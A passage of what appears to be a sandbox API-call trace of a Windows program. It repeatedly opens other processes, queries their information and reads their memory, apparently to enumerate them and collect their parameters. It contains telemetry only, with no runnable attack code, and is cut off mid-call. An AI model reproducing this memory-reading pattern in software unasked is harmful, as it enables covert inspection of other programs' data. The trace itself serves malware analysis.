(in: _Value=0xe30, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3632") returned 0x0 [0214.074] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3632") returned 4 [0214.075] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0214.075] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0214.092] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe30) returned 0x458 [0214.092] GetLastError () returned 0x0 [0214.205] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0214.205] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x32e018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0214.205] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0214.205] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5d1ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0214.205] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5d18f8, lpBuffer=0x670ffc3f0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0214.206] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0214.207] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0214.207] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x32e020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0214.208] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5d12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0214.208] malloc (_Size=0x6e) returned 0x196ef0d31b0 [0214.208] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5d195e, lpBuffer=0x196ef0d31b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0214.208] free (_Block=0x196ef0d31b0) [0214.209] CloseHandle (hObject=0x458) returned 1 [0214.210] _ui64tow_s (in: _Value=0xe40, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3648") returned 0x0 [0214.214] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3648") returned 4 [0214.215] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0214.215] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0214.230] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe40) returned 0x458 [0214.230] GetLastError () returned 0x0 [0214.230] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0214.230] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x35b018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0214.230] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0214.230] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4e1ca0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0214.231] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4e18f8, lpBuffer=0x670ffc3f0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0214.232] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0214.233] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0214.233] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x35b020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0214.233] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0214.233] malloc (_Size=0x5a) returned 0x196ef0d0370 [0214.233] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4e194a, lpBuffer=0x196ef0d0370, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0214.234] free (_Block=0x196ef0d0370) [0214.235] CloseHandle (hObject=0x458) returned 1 [0214.235] _ui64tow_s (in: _Value=0xe48, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3656") returned 0x0 [0214.239] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3656") returned 4 [0214.240] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0214.240] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0214.313] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe48) returned 0x458 [0214.313] GetLastError () returned 0x0 [0214.313] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0214.313] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4b4018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0214.313] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0214.314] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2f1d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0214.314] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2f18f8, lpBuffer=0x670ffc3f0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0214.315] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0214.316] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0214.316] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4b4020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0214.316] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0214.316] malloc (_Size=0x76) returned 0x196ef0d2120 [0214.316] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2f1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0214.317] free (_Block=0x196ef0d2120) [0214.318] CloseHandle (hObject=0x458) returned 1 [0214.318] _ui64tow_s (in: _Value=0xe54, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3668") returned 0x0 [0214.322] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3668") returned 4 [0214.323] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0214.323] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0214.338] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe54) returned 0x458 [0214.338] GetLastError () returned 0x0 [0214.338] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0214.338] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x541018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0214.339] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0214.339] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7d1cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0214.339] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7d18f8, lpBuffer=0x670ffc3f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0214.340] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0214.341] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0214.341] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x541020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0214.341] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7d12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0214.342] malloc (_Size=0x60) returned 0x196ef0d03e0 [0214.342] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7d1950, lpBuffer=0x196ef0d03e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0214.342] free (_Block=0x196ef0d03e0) [0214.422] CloseHandle (hObject=0x458) returned 1 [0214.422] _ui64tow_s (in: _Value=0xe5c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3676") returned 0x0 [0214.427] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3676") returned 4 [0214.428] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0214.428] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0214.444] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe5c) returned 0x458 [0214.444] GetLastError () returned 0x0 [0214.444] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0214.444] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x470018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0214.445] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0214.445] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7e1cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0214.445] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7e18f8, lpBuffer=0x670ffc3f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0214.446] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0214.447] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0214.447] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x470020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0214.447] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0214.448] malloc (_Size=0x60) returned 0x196ef0d0370 [0214.448] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7e1950, lpBuffer=0x196ef0d0370, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0214.449] free (_Block=0x196ef0d0370) [0214.449] CloseHandle (hObject=0x458) returned 1 [0214.450] _ui64tow_s (in: _Value=0xe70, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3696") returned 0x0 [0214.454] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3696") returned 4 [0214.455] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0214.455] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0214.669] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe70) returned 0x45c [0214.669] GetLastError () returned 0x0 [0214.669] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0214.669] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x217018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0214.669] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0214.669] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x1f1cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0214.670] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x1f18f8, lpBuffer=0x670ffc3f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0214.671] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0214.672] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0214.672] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x217020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0214.672] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x1f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0214.672] malloc (_Size=0x66) returned 0x196ef0d0450 [0214.672] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x1f1956, lpBuffer=0x196ef0d0450, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0214.673] free (_Block=0x196ef0d0450) [0214.674] CloseHandle (hObject=0x45c) returned 1 [0214.674] _ui64tow_s (in: _Value=0xe78, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3704") returned 0x0 [0214.678] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3704") returned 4 [0214.680] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0214.680] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0214.695] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe78) returned 0x45c [0214.695] GetLastError () returned 0x0 [0214.696] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0214.696] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x202018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0214.696] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0214.696] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4a1d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0214.697] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4a18f8, lpBuffer=0x670ffc3f0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0214.698] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0214.699] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0214.699] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x202020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0214.699] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4a12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0214.699] malloc (_Size=0x78) returned 0x196ef0d2120 [0214.699] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4a1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0214.700] free (_Block=0x196ef0d2120) [0214.701] CloseHandle (hObject=0x45c) returned 1 [0214.701] _ui64tow_s (in: _Value=0xe88, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3720") returned 0x0 [0214.797] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3720") returned 4 [0214.798] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0214.798] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0214.814] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x45c [0214.814] GetLastError () returned 0x0 [0214.815] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0214.815] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3ac018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0214.815] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0214.815] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5d1d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0214.815] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5d18f8, lpBuffer=0x670ffc3f0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0214.816] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0214.817] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0214.817] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3ac020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0214.818] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5d12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: 